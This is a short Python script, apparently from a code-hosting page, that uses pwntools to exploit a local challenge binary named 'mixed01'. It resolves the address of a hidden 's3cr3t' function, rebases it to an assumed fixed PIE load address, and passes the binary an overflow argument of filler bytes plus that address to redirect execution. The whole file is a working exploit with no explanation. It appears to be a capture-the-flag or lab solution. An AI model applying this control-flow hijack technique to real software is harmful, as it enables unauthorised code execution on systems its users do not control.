11 lines
287 B
Python
11 lines
287 B
Python
from pwn import *
|
|
import subprocess
|
|
|
|
context(arch='amd64', os='linux', log_level='info')
|
|
|
|
secret_addr = ELF('./mixed01').symbols['s3cr3t']
|
|
secret_addr = secret_addr - 0x1000 + 0x555555555000
|
|
arg = b'}' * 16 + p64(secret_addr).rstrip(b'\x00')
|
|
|
|
subprocess.run(['./mixed01', arg, '65536'])
|